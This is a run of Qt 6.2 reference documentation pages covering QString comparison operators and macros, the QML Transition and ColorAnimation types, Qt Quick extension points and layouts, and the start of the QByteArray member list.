 ### 
bool operator<=(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if string *s1* is lexically less than or equal to string *s2*; otherwise returns `false`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
bool operator<=(const [QString](qstring#QString) &*s1*, [QLatin1String](qlatin1string) *s2*)

 This function overloads operator<=().

 Returns `true` if *s1* is lexically less than or equal to *s2*; otherwise returns `false`.

 ### 
bool operator<=([QLatin1String](qlatin1string) *s1*, const [QString](qstring#QString) &*s2*)

 This function overloads operator<=().

 Returns `true` if *s1* is lexically less than or equal to *s2*; otherwise returns `false`.

 ### 
bool operator<=(const char \**s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if *s1* is lexically less than or equal to *s2*; otherwise returns `false`. For *s1* != 0, this is equivalent to `compare(s1, s2) <= 0`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
bool operator==(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*)

 This function overloads operator==().

 Returns `true` if string *s1* is equal to string *s2*; otherwise returns `false`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
bool operator==(const [QString](qstring#QString) &*s1*, [QLatin1String](qlatin1string) *s2*)

 This function overloads operator==().

 Returns `true` if *s1* is equal to *s2*; otherwise returns `false`.

 ### 
bool operator==([QLatin1String](qlatin1string) *s1*, const [QString](qstring#QString) &*s2*)

 This function overloads operator==().

 Returns `true` if *s1* is equal to *s2*; otherwise returns `false`.

 ### 
bool operator==(const char \**s1*, const [QString](qstring#QString) &*s2*)

 This function overloads operator==().

 Returns `true` if *s1* is equal to *s2*; otherwise returns `false`. Note that no string is equal to *s1* being 0.

 Equivalent to `s1 != 0 && compare(s1, s2) == 0`.

 ### 
bool operator>(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if string *s1* is lexically greater than string *s2*; otherwise returns `false`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
bool operator>(const [QString](qstring#QString) &*s1*, [QLatin1String](qlatin1string) *s2*)

 This function overloads operator>().

 Returns `true` if *s1* is lexically greater than *s2*; otherwise returns `false`.

 ### 
bool operator>([QLatin1String](qlatin1string) *s1*, const [QString](qstring#QString) &*s2*)

 This function overloads operator>().

 Returns `true` if *s1* is lexically greater than *s2*; otherwise returns `false`.

 ### 
bool operator>(const char \**s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if *s1* is lexically greater than *s2*; otherwise returns `false`. Equivalent to `compare(s1, s2) > 0`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
bool operator>=(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if string *s1* is lexically greater than or equal to string *s2*; otherwise returns `false`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
bool operator>=(const [QString](qstring#QString) &*s1*, [QLatin1String](qlatin1string) *s2*)

 This function overloads operator>=().

 Returns `true` if *s1* is lexically greater than or equal to *s2*; otherwise returns `false`.

 ### 
bool operator>=([QLatin1String](qlatin1string) *s1*, const [QString](qstring#QString) &*s2*)

 This function overloads operator>=().

 Returns `true` if *s1* is lexically greater than or equal to *s2*; otherwise returns `false`.

 ### 
bool operator>=(const char \**s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if *s1* is lexically greater than or equal to *s2*; otherwise returns `false`. For *s1* != 0, this is equivalent to `compare(s1, s2) >= 0`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
[QDataStream](qdatastream) &operator>>([QDataStream](qdatastream) &*stream*, [QString](qstring#QString) &*string*)

 Reads a string from the specified *stream* into the given *string*.

 **See also** [Serializing Qt Data Types](datastreamformat).

   Macro Documentation
-------------------

 ### 
QStringLiteral(*str*)

 The macro generates the data for a [QString](qstring) out of the string literal *str* at compile time. Creating a [QString](qstring) from it is free in this case, and the generated string data is stored in the read-only segment of the compiled object file.

 If you have code that looks like this:

 
```
// hasAttribute takes a QString argument
if (node.hasAttribute("http-contents-length")) //...
```
 then a temporary [QString](qstring) will be created to be passed as the `hasAttribute` function parameter. This can be quite expensive, as it involves a memory allocation and the copy/conversion of the data into [QString](qstring)'s internal encoding.

 This cost can be avoided by using QStringLiteral instead:

 
```
if (node.hasAttribute(QStringLiteral(u"http-contents-length"))) //...
```
 In this case, [QString](qstring)'s internal data will be generated at compile time; no conversion or allocation will occur at runtime.

 Using QStringLiteral instead of a double quoted plain C++ string literal can significantly speed up creation of [QString](qstring) instances from data known at compile time.

  **Note:** [QLatin1String](qlatin1string) can still be more efficient than QStringLiteral when the string is passed to a function that has an overload taking [QLatin1String](qlatin1string) and this overload avoids conversion to [QString](qstring). For instance, QString::operator==() can compare to a [QLatin1String](qlatin1string) directly:

  
```
if (attribute.name() == QLatin1String("http-contents-length")) //...
```
  **Note:** Some compilers have bugs encoding strings containing characters outside the US-ASCII character set. Make sure you prefix your string with `u` in those cases. It is optional otherwise.

  **See also** [QByteArrayLiteral](qbytearray#QByteArrayLiteral).

 ### 
QT\_NO\_CAST\_FROM\_ASCII

 Disables automatic conversions from 8-bit strings (`char *`) to Unicode QStrings, as well as from 8-bit `char` types (`char` and `unsigned char`) to [QChar](qchar).

 **See also** [QT\_NO\_CAST\_TO\_ASCII](qstring#QT_NO_CAST_TO_ASCII), [QT\_RESTRICTED\_CAST\_FROM\_ASCII](qstring#QT_RESTRICTED_CAST_FROM_ASCII), and [QT\_NO\_CAST\_FROM\_BYTEARRAY](qbytearray#QT_NO_CAST_FROM_BYTEARRAY).

 ### 
QT\_NO\_CAST\_TO\_ASCII

 Disables automatic conversion from [QString](qstring) to 8-bit strings (`char *`).

 **See also** [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII), [QT\_RESTRICTED\_CAST\_FROM\_ASCII](qstring#QT_RESTRICTED_CAST_FROM_ASCII), and [QT\_NO\_CAST\_FROM\_BYTEARRAY](qbytearray#QT_NO_CAST_FROM_BYTEARRAY).

 ### 
QT\_RESTRICTED\_CAST\_FROM\_ASCII

 Disables most automatic conversions from source literals and 8-bit data to unicode QStrings, but allows the use of the `QChar(char)` and `QString(const char (&ch)[N]` constructors, and the `QString::operator=(const char (&ch)[N])` assignment operator. This gives most of the type-safety benefits of [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) but does not require user code to wrap character and string literals with [QLatin1Char](qlatin1char), [QLatin1String](qlatin1string) or similar.

 Using this macro together with source strings outside the 7-bit range, non-literals, or literals with embedded NUL characters is undefined.

 **See also** [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) and [QT\_NO\_CAST\_TO\_ASCII](qstring#QT_NO_CAST_TO_ASCII).

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qstring.html>

Transition QML Type
===================

 Defines animated transitions that occur on state changes. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-transition-members.html)

 Properties
----------

 * **[animations](qml-qtquick-transition#animations-prop)** : list<Animation>
* **[enabled](qml-qtquick-transition#enabled-prop)** : bool
* **[from](qml-qtquick-transition#from-prop)** : string
* **[reversible](qml-qtquick-transition#reversible-prop)** : bool
* **[running](qml-qtquick-transition#running-prop)** : bool
* **[to](qml-qtquick-transition#to-prop)** : string

 Detailed Description
--------------------

 A Transition defines the animations to be applied when a [State](qml-qtquick-state) change occurs.

 For example, the following [Rectangle](qml-qtquick-rectangle) has two states: the default state, and an added "moved" state. In the "moved state, the rectangle's position changes to (50, 50). The added Transition specifies that when the rectangle changes between the default and the "moved" state, any changes to the `x` and `y` properties should be animated, using an `Easing.InOutQuad`.

 
```
import QtQuick 2.0

Rectangle {
    id: rect
    width: 100; height: 100
    color: "red"

    MouseArea {
        id: mouseArea
        anchors.fill: parent
    }

    states: State {
        name: "moved"; when: mouseArea.pressed
        PropertyChanges { target: rect; x: 50; y: 50 }
    }

    transitions: Transition {
        NumberAnimation { properties: "x,y"; easing.type: Easing.InOutQuad }
    }
}
```
 Notice the example does not require [to](qml-qtquick-propertyanimation#to-prop) and [from](qml-qtquick-propertyanimation#from-prop) values for the [NumberAnimation](qml-qtquick-numberanimation). As a convenience, these properties are automatically set to the values of `x` and `y` before and after the state change; the `from` values are provided by the current values of `x` and `y`, and the `to` values are provided by the [PropertyChanges](qml-qtquick-propertychanges) object. If you wish, you can provide [to](qml-qtquick-propertyanimation#to-prop) and [from](qml-qtquick-propertyanimation#from-prop) values anyway to override the default values.

 By default, a Transition's animations are applied for any state change in the parent item. The Transition [from](qml-qtquick-transition#from-prop) and [to](qml-qtquick-transition#to-prop) values can be set to restrict the animations to only be applied when changing from one particular state to another.

 To define multiple Transitions, specify [Item::transitions](qml-qtquick-item#transitions-prop) as a list:

 
```
    transitions: [
        Transition {
            from: "*"; to: "middleRight"
            NumberAnimation {
                properties: "x,y";
                easing.type: Easing.InOutQuad;
                duration: 2000;
            }
        },
        Transition {
            from: "*"; to: "bottomLeft";
            NumberAnimation {
                properties: "x,y";
                easing.type: Easing.InOutQuad;
                duration: 200;
            }
        },
        //If any other rectangle is clicked, the icon will return
        //to the start position at a slow speed and bounce.
        Transition {
            from: "*"; to: "*";
            NumberAnimation {
                easing.type: Easing.OutBounce;
                properties: "x,y";
                duration: 4000;
            }
        }
    ]
```
 If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular state change. In the example above, if the Rectangle enters a state other than `"middleRight"` or `"bottomLeft"`, the third Transition will be carried out, meaning the icon will be moved to the starting point.

 If a state change has a Transition that matches the same property as a [Behavior](qml-qtquick-behavior), the Transition animation overrides the [Behavior](qml-qtquick-behavior) for that state change.

 **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations), [States example](https://doc.qt.io/qt-6.2/qtquick-animation-example.html#states), [Qt Quick States](qtquick-statesanimations-states), and [Qt QML](qtqml-index).

 Property Documentation
----------------------

  ###  from : [string](qml-string)

 
These properties indicate the state changes that trigger the transition.

 The default values for these properties is "\*" (that is, any state).

 For example, the following transition has not set the `to` and `from` properties, so the animation is always applied when changing between the two states (i.e. when the mouse is pressed and released).

 
```
Rectangle {
    id: rect
    width: 100; height: 100
    color: "red"

    MouseArea { id: mouseArea; anchors.fill: parent }

    states: State {
        name: "brighter"; when: mouseArea.pressed
        PropertyChanges { target: rect; color: "yellow" }
    }

    transitions: Transition {
        ColorAnimation { duration: 1000 }
    }
}
```
 If the transition was changed to this:

 
```
transitions: Transition {
    to: "brighter"
    ColorAnimation { duration: 1000 }
}
```
 The animation would only be applied when changing from the default state to the "brighter" state (i.e. when the mouse is pressed, but not on release).

 Multiple `to` and `from` values can be set by using a comma-separated string.

 **See also** [reversible](qml-qtquick-transition#reversible-prop).

 ###  [default] animations : [list](qml-list)<[Animation](qml-qtquick-animation)>

 This property holds a list of the animations to be run for this transition.

 
```
transitions: Transition {
    PropertyAnimation { duration: 3000 }
    ColorAnimation { duration: 3000 }
}
```
 The top-level animations are run in parallel. To run them sequentially, define them within a [SequentialAnimation](qml-qtquick-sequentialanimation):

 
```
transitions: Transition {
    to: "brighter"
    reversible: true
    SequentialAnimation {
        PropertyAnimation { property: "x"; duration: 1000 }
        ColorAnimation { duration: 1000 }
    }
}
```
 ###  enabled : [bool](qml-bool)

 This property holds whether the Transition will be run when moving from the `from` state to the `to` state.

 By default a Transition is enabled.

 Note that in some circumstances disabling a Transition may cause an alternative Transition to be used in its place. In the following example, although the first Transition has been set to animate changes from "state1" to "state2", this transition has been disabled by setting `enabled` to `false`, so any such state change will actually be animated by the second Transition instead.

 
```
Item {
    states: [
        State { name: "state1" },
        State { name: "state2" }
    ]
    transitions: [
        Transition { from: "state1"; to: "state2"; enabled: false },
        Transition {
            // ...
        }
    ]
}
```
 ###  reversible : [bool](qml-bool)

 This property holds whether the transition should be automatically reversed when the conditions that triggered this transition are reversed.

 The default value is false.

 By default, transitions run in parallel and are applied to all state changes if the [from](qml-qtquick-transition#from-prop) and [to](qml-qtquick-transition#to-prop) states have not been set. In this situation, the transition is automatically applied when a state change is reversed, and it is not necessary to set this property to reverse the transition.

 However, if a [SequentialAnimation](qml-qtquick-sequentialanimation) is used, or if the [from](qml-qtquick-transition#from-prop) or [to](qml-qtquick-transition#to-prop) properties have been set, this property will need to be set to reverse a transition when a state change is reverted. For example, the following transition applies a sequential animation when the mouse is pressed, and reverses the sequence of the animation when the mouse is released:

 
```
Rectangle {
    id: rect
    width: 100; height: 100
    color: "steelblue"

    TapHandler { id: tapHandler }

    states: State {
        name: "brighter"
        when: tapHandler.pressed
        PropertyChanges { target: rect; color: "lightsteelblue"; x: 50 }
    }

    transitions: Transition {
        to: "brighter"
        reversible: true
        SequentialAnimation {
            PropertyAnimation { property: "x"; duration: 1000 }
            ColorAnimation { duration: 1000 }
        }
    }
}
```
 If the transition did not set the `to` and `reversible` values, then on the mouse release, the transition would play the [PropertyAnimation](qml-qtquick-propertyanimation) before the [ColorAnimation](qml-qtquick-coloranimation) instead of reversing the sequence.

 ###  running : [bool](qml-bool)

 This property holds whether the transition is currently running.

 This property is read only.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-transition.html>

ColorAnimation QML Type
=======================

 Animates changes in color values. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [PropertyAnimation](qml-qtquick-propertyanimation) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-coloranimation-members.html)

 Properties
----------

 * **[from](qml-qtquick-coloranimation#from-prop)** : color
* **[to](qml-qtquick-coloranimation#to-prop)** : color

 Detailed Description
--------------------

 ColorAnimation is a specialized [PropertyAnimation](qml-qtquick-propertyanimation) that defines an animation to be applied when a color value changes.

 Here is a ColorAnimation applied to the `color` property of a [Rectangle](qml-qtquick-rectangle) as a property value source. It animates the `color` property's value from its current value to a value of "red", over 1000 milliseconds:

 
```
import QtQuick 2.0

Rectangle {
    width: 100; height: 100
    color: "red"

    ColorAnimation on color { to: "yellow"; duration: 1000 }
}
```
 Like any other animation type, a ColorAnimation can be applied in a number of ways, including transitions, behaviors and property value sources. The [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations) documentation shows a variety of methods for creating animations.

 For convenience, when a ColorAnimation is used in a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition), it will animate any `color` properties that have been modified during the state change. If a [property](qml-qtquick-propertyanimation#property-prop) or [properties](qml-qtquick-propertyanimation#properties-prop) are explicitly set for the animation, then those are used instead.

 **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations) and [Qt Quick Examples - Animation](https://doc.qt.io/qt-6.2/qtquick-animation-example.html).

 Property Documentation
----------------------

 ###  from : [color](qml-color)

 This property holds the color value at which the animation should begin.

 For example, the following animation is not applied until a color value has reached "#c0c0c0":

 
```
Item {
    states: [
        // States are defined here...
    ]

    transitions: Transition {
        ColorAnimation { from: "#c0c0c0"; duration: 2000 }
    }
}
```
 If the [ColorAnimation](qml-qtquick-coloranimation) is defined within a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) or [Behavior](qml-qtquick-behavior), this value defaults to the value defined in the starting state of the [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition), or the current value of the property at the moment the [Behavior](qml-qtquick-behavior) is triggered.

 **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations).

 ###  to : [color](qml-color)

 This property holds the color value at which the animation should end.

 If the [ColorAnimation](qml-qtquick-coloranimation) is defined within a [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) or [Behavior](qml-qtquick-behavior), this value defaults to the value defined in the end state of the [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition), or the value of the property change that triggered the [Behavior](qml-qtquick-behavior).

 **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-coloranimation.html>

C++ Extension Points Provided By Qt Quick
=========================================

 All QML applications can be extended from C++ in order to use additional functionality implemented in C++ code or to provide a C++ based QML plugin. This topic of extending QML from C++ is covered in the [Integrating QML and C++](https://doc.qt.io/qt-6.2/qtqml-cppintegration-topic.html) documentation.

 Additionally, the Qt Quick module provides several extension and integration points for C++ developers, specific to this module. In particular, it allows C++ developers to create and register custom [QQuickItem](qquickitem)-derived types which can be rendered by Qt Quick. It also provides several scene graph-related classes which allow developers to define their own rendering primitives.

 User-Defined QQuickItem-Derived Types
-------------------------------------

 While the Qt Quick module already provides a rich library of visual item types for use in a QML application, some developers may wish to define their own item-derived types in C++ and expose them to the QML type system. The easiest way to do this is to subclass [QQuickItem](qquickitem), which is the base type for all visual types in the Qt Quick module. See the [QQuickItem](qquickitem) documentation for more details.

 Scene Graph-Related Classes
---------------------------

 Qt Quick 2 makes use of a dedicated scene graph based on OpenGL ES 2.0 or OpenGL 2.0 for its rendering. Using a scene graph for graphics rather than the traditional imperative painting systems ([QPainter](qpainter) and similar), means the scene to be rendered can be retained between frames and the complete set of primitives to render is known before rendering starts. This opens up for a number of optimizations, such as batching the OpenGL draw calls to minimize state changes or discarding obscured primitives.

 The [Qt Quick C++ API](https://doc.qt.io/qt-6.2/qtquick-module.html) provides various classes to enable custom nodes to be created in C++.

 See the [Qt Quick Scene Graph](qtquick-visualcanvas-scenegraph) documentation for details.

 Pixmap and Threaded Image Support
---------------------------------

 While the QML engine allows QML application to load images from filesystem or network resources, some applications may require the additional option of loading images from C++ based processes. This can be implemented through the [QQuickImageProvider](qquickimageprovider) class, which provides support for pixmap loading and threaded image requests for QML applications. Any QML application that requests an image through the special "image:" URL scheme will be directed to an appropriate image provider to load the image.

 For more information, see the [QQuickImageProvider](qquickimageprovider) documentation.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquick-cppextensionpoints.html>

Qt Quick Layouts
================

 Qt Quick Layouts are a set of QML types used to arrange items in a user interface. In contrast to [positioners](qtquick-positioning-layouts), Qt Quick Layouts can also resize their items. This makes them well suited for resizable user interfaces. Since layouts are items they can consequently be nested.

 Visit the [Qt Quick Layouts Overview](https://doc.qt.io/qt-6.2/qtquicklayouts-overview.html) page to get started.

 Using the Module
----------------

 The QML types can be imported into your application by adding the following import statement in your `.qml` file.

 
```
import QtQuick.Layouts
```
 Licenses
--------

 Qt Quick Layouts is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses. Since Qt 5.4, these free software licenses are [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Layouts
-------

 

|  |  |
| --- | --- |
| [ColumnLayout](qml-qtquick-layouts-columnlayout) | Identical to GridLayout, but having only one column |
| [GridLayout](qml-qtquick-layouts-gridlayout) | Provides a way of dynamically arranging items in a grid |
| [Layout](qml-qtquick-layouts-layout) | Provides attached properties for items pushed onto a GridLayout, RowLayout or ColumnLayout |
| [RowLayout](qml-qtquick-layouts-rowlayout) | Identical to GridLayout, but having only one row |
| [StackLayout](qml-qtquick-layouts-stacklayout) | Stack of items where only one item is visible at a time |

 Related Information
-------------------

 * [Qt Quick](qtquick-index)
* [Qt Quick Layouts Overview](https://doc.qt.io/qt-6.2/qtquicklayouts-overview.html)
* [Qt Quick Layouts - Basic Example](https://doc.qt.io/qt-6.2/qtquick-layouts-example.html)
* [Qt Quick Layouts QML Types](https://doc.qt.io/qt-6.2/qtquick-layouts-qmlmodule.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquicklayouts-index.html>

QByteArray Class
================

 The QByteArray class provides an array of bytes. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QByteArray> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qbytearray-members.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Types
------------

 

|  |  |
| --- | --- |
|  class  | **[FromBase64Result](qbytearray-frombase64result)** |
|  enum  | **[Base64Option](qbytearray#Base64Option-enum)** { Base64Encoding, Base64UrlEncoding, KeepTrailingEquals, OmitTrailingEquals, IgnoreBase64DecodingErrors, AbortOnBase64DecodingErrors } |
|  flags  | **[Base64Options](qbytearray#Base64Option-enum)** |
|  | **[const\_iterator](qbytearray#const_iterator-typedef)** |
|  | **[const\_reverse\_iterator](qbytearray#const_reverse_iterator-typedef)** |
|  | **[iterator](qbytearray#iterator-typedef)** |
|  | **[reverse\_iterator](qbytearray#reverse_iterator-typedef)** |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QByteArray](qbytearray#QByteArray-3)**(QByteArray &&*other*) |
|  | **[QByteArray](qbytearray#QByteArray)**(const QByteArray &*other*) |
|  | **[QByteArray](qbytearray#QByteArray-2)**(qsizetype *size*, char *ch*) |
|  | **[QByteArray](qbytearray#QByteArray-1)**(const char \**data*, qsizetype *size* = -1) |
|  | **[QByteArray](qbytearray#QByteArray)**() |
|  QByteArray & | **[operator=](qbytearray#operator-eq-2)**(QByteArray &&*other*) |
|  QByteArray & | **[operator=](qbytearray#operator-eq)**(const QByteArray &*other*) |
|  | **[~QByteArray](qbytearray#dtor.QByteArray)**() |
|  QByteArray & | **[append](qbytearray#append)**(const QByteArray &*ba*) |
|  QByteArray & | **[append](qbytearray#append-1)**(char *ch*) |
|  QByteArray & | **[append](qbytearray#append-2)**(qsizetype *count*, char *ch*) |
|  QByteArray & | **[append](qbytearray#append-3)**(const char \**str*) |
|  QByteArray & | **[append](qbytearray#append-4)**(const char \**str*, qsizetype *len*) |
|  QByteArray & | **[append](qbytearray#append-5)**(QByteArrayView *data*) |
|  char  | **[at](qbytearray#at)**(qsizetype *i*) const |
|  char  | **[back](qbytearray#back)**() const |
|  char & | **[back](qbytearray#back-1)**() |
|  QByteArray::iterator  | **[begin](qbytearray#begin)**() |
|  QByteArray::const\_iterator  | **[begin](qbytearray#begin-1)**() const |
|  qsizetype  | **[capacity](qbytearray#capacity)**() const |
|  QByteArray::const\_iterator  | **[cbegin](qbytearray#cbegin)**() const |
|  QByteArray::const\_iterator  | **[cend](qbytearray#cend)**() const |
|  void  | **[chop](qbytearray#chop)**(qsizetype *n*) |
|  QByteArray  | **[chopped](qbytearray#chopped)**(qsizetype *len*) const |
|  void  | **[clear](qbytearray#clear)**() |
|  int  | **[compare](qbytearray#compare)**(QByteArrayView *bv*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) const |
|  QByteArray::const\_iterator  | **[constBegin](qbytearray#constBegin)**() const |
|  const char \* | **[constData](qbytearray#constData)**() const |
|  QByteArray::const\_iterator  | **[constEnd](qbytearray#constEnd)**() const |
|  bool  | **[contains](qbytearray#contains)**(QByteArrayView *bv*) const |
|  bool  | **[contains](qbytearray#contains-1)**(char *ch*) const |
|  qsizetype  | **[count](qbytearray#count)**(QByteArrayView *bv*) const |
|  qsizetype  | **[count](qbytearray#count-1)**(char *ch*) const |
|  qsizetype  | **[count](qbytearray#count-2)**() const |
|  QByteArray::const\_reverse\_iterator  | **[crbegin](qbytearray#crbegin)**() const |
|  QByteArray::const\_reverse\_iterator  | **[crend](qbytearray#crend)**() const |
|  char \* | **[data](qbytearray#data)**() |
|  const char \* | **[data](qbytearray#data-1)**() const |
|  QByteArray::iterator  | **[end](qbytearray#end)**() |
|  QByteArray::const\_iterator  | **[end](qbytearray#end-1)**() const |
|  bool  | **[endsWith](qbytearray#endsWith)**(QByteArrayView *bv*) const |
|  bool  | **[endsWith](qbytearray#endsWith-1)**(char *ch*) const |
|  QByteArray::iterator  | **[erase](qbytearray#erase)**(QByteArray::const\_iterator *first*, QByteArray::const\_iterator *last*) |
|  QByteArray & | **[fill](qbytearray#fill)**(char *ch*, qsizetype *size* = -1) |
|  QByteArray  | **[first](qbytearray#first)**(qsizetype *n*) const |
|  char  | **[front](qbytearray#front)**() const |
|  char & | **[front](qbytearray#front-1)**() |
|  qsizetype  | **[indexOf](qbytearray#indexOf)**(QByteArrayView *bv*, qsizetype *from* = 0) const |
|  qsizetype  | **[indexOf](qbytearray#indexOf-1)**(char *ch*, qsizetype *from* = 0) const |
|  QByteArray & | **[insert](qbytearray#insert)**(qsizetype *i*, QByteArrayView *data*) |
|  QByteArray & | **[insert](qbytearray#insert-1)**(qsizetype *i*, const char \**s*) |
|  QByteArray & | **[insert](qbytearray#insert-2)**(qsizetype *i*, const QByteArray &*data*) |
|  QByteArray & | **[insert](qbytearray#insert-3)**(qsizetype *i*, qsizetype *count*, char *ch*) |
|  QByteArray & | **[insert](qbytearray#insert-4)**(qsizetype *i*, char *ch*) |
|  QByteArray & | **[insert](qbytearray#insert-5)**(qsizetype *i*, const char \**data*, qsizetype *len*) |
|  bool  | **[isEmpty](qbytearray#isEmpty)**() const |
|  bool  | **[isLower](qbytearray#isLower)**() const |
|  bool  | **[isNull](qbytearray#isNull)**() const |
|  bool  | **[isUpper](qbytearray#isUpper)**() const |
|  QByteArray  | **[last](qbytearray#last)**(qsizetype *n*) const |
|  qsizetype  | **[lastIndexOf](qbytearray#lastIndexOf)**(QByteArrayView *bv*, qsizetype *from*) const |
|  qsizetype  | **[lastIndexOf](qbytearray#lastIndexOf-1)**(char *ch*, qsizetype *from* = -1) const |
|  qsizetype  | **[lastIndexOf](qbytearray#lastIndexOf-2)**(QByteArrayView *bv*) const |
|  QByteArray  | **[left](qbytearray#left)**(qsizetype *len*) const |
|  QByteArray  | **[leftJustified](qbytearray#leftJustified)**(qsizetype *width*, char *fill* = ' ', bool *truncate* = false) const |
|  qsizetype  | **[length](qbytearray#length)**() const |
|  QByteArray  | **[mid](qbytearray#mid)**(qsizetype *pos*, qsizetype *len* = -1) const |
|  QByteArray & | **[prepend](qbytearray#prepend)**(QByteArrayView *ba*) |
|  QByteArray & | **[prepend](qbytearray#prepend-1)**(char *ch*) |
|  QByteArray & | **[prepend](qbytearray#prepend-2)**(qsizetype *count*, char *ch*) |
|  QByteArray & | **[prepend](qbytearray#prepend-3)**(const char \**str*) |
|  QByteArray & | **[prepend](qbytearray#prepend-4)**(const char \**str*, qsizetype *len*) |
|  QByteArray & | **[prepend](qbytearray#prepend-5)**(const QByteArray &*ba*) |
|  void  | **[push\_back](qbytearray#push_back)**(const QByteArray &*other*) |
|  void  | **[push\_back](qbytearray#push_back-1)**(char *ch*) |
|  void  | **[push\_back](qbytearray#push_back-2)**(const char \**str*) |
|  void  | **[push\_back](qbytearray#push_back-3)**(QByteArrayView *str*) |
|  void  | **[push\_front](qbytearray#push_front)**(const QByteArray &*other*) |
|  void  | **[push\_front](qbytearray#push_front-1)**(char *ch*) |
|  void  | **[push\_front](qbytearray#push_front-2)**(const char \**str*) |
|  void  | **[push\_front](qbytearray#push_front-3)**(QByteArrayView *str*) |
|  QByteArray::reverse\_iterator  | **[rbegin](qbytearray#rbegin)**() |
|  QByteArray::const\_reverse\_iterator  | **[rbegin](qbytearray#rbegin-1)**() const |
|  QByteArray & | **[remove](qbytearray#remove)**(qsizetype *pos*, qsizetype *len*) |
|  QByteArray & | **[removeIf](qbytearray#removeIf)**(Predicate *pred*) |
|  QByteArray::reverse\_iterator  | **[rend](qbytearray#rend)**() |
|  QByteArray::const\_reverse\_iterator  | **[rend](qbytearray#rend-1)**() const |
|  QByteArray  | **[repeated](qbytearray#repeated)**(qsizetype *times*) const |
|  QByteArray & | **[replace](qbytearray#replace)**(qsizetype *pos*, qsizetype *len*, QByteArrayView *after*) |
|  QByteArray & | **[replace](qbytearray#replace-1)**(qsizetype *pos*, qsizetype *len*, const char \**after*, qsizetype *alen*) |
|  QByteArray & | **[replace](qbytearray#replace-2)**(char *before*, QByteArrayView *after*) |
|  QByteArray & | **[replace](qbytearray#replace-3)**(const char \**before*, qsizetype *bsize*, const char \**after*, qsizetype *asize*) |
|  QByteArray & | **[replace](qbytearray#replace-4)**(QByteArrayView *before*, QByteArrayView *after*) |
|  QByteArray & | **[replace](qbytearray#replace-5)**(char *before*, char *after*) |
|  void  | **[reserve](qbytearray#reserve)**(qsizetype *size*) |
|  void  | **[resize](qbytearray#resize)**(qsizetype *size*) |
|  QByteArray  | **[right](qbytearray#right)**(qsizetype *len*) const |
|  QByteArray  | **[rightJustified](qbytearray#rightJustified)**(qsizetype *width*, char *fill* = ' ', bool *truncate* = false) const |
|  QByteArray & | **[setNum](qbytearray#setNum)**(int *n*, int *base* = 10) |
|  QByteArray & | **[setNum](qbytearray#setNum-1)**(short *n*, int *base* = 10) |
|  QByteArray & | **[setNum](qbytearray#setNum-2)**(ushort *n*, int *base* = 10) |
|  QByteArray & | **[setNum](qbytearray#setNum-3)**(uint *n*, int *base* = 10) |
|  QByteArray & | **[setNum](qbytearray#setNum-4)**(long *n*, int *base* = 10) |
|  QByteArray & | **[setNum](qbytearray#setNum-5)**(ulong *n*, int *base* = 10) |
|  QByteArray & | **[setNum](qbytearray#setNum-6)**(qlonglong *n*, int *base* = 10) |
|  QByteArray & | **[setNum](qbytearray#setNum-7)**(qulonglong *n*, int *base* = 10) |
